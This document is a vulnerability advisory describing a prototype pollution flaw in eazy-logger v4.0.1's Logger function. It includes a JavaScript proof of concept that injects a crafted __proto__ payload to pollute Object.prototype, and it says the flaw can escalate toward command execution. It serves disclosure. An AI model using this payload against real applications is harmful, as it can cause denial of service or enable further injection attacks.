eazy-logger prototype pollution

A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.

An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., child_process.exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

Proof of Concept

(async () => {
const lib = await import('eazy-logger');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.Logger (JSON.parse('{"__proto__":{"pollutedKey":123}}'))
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();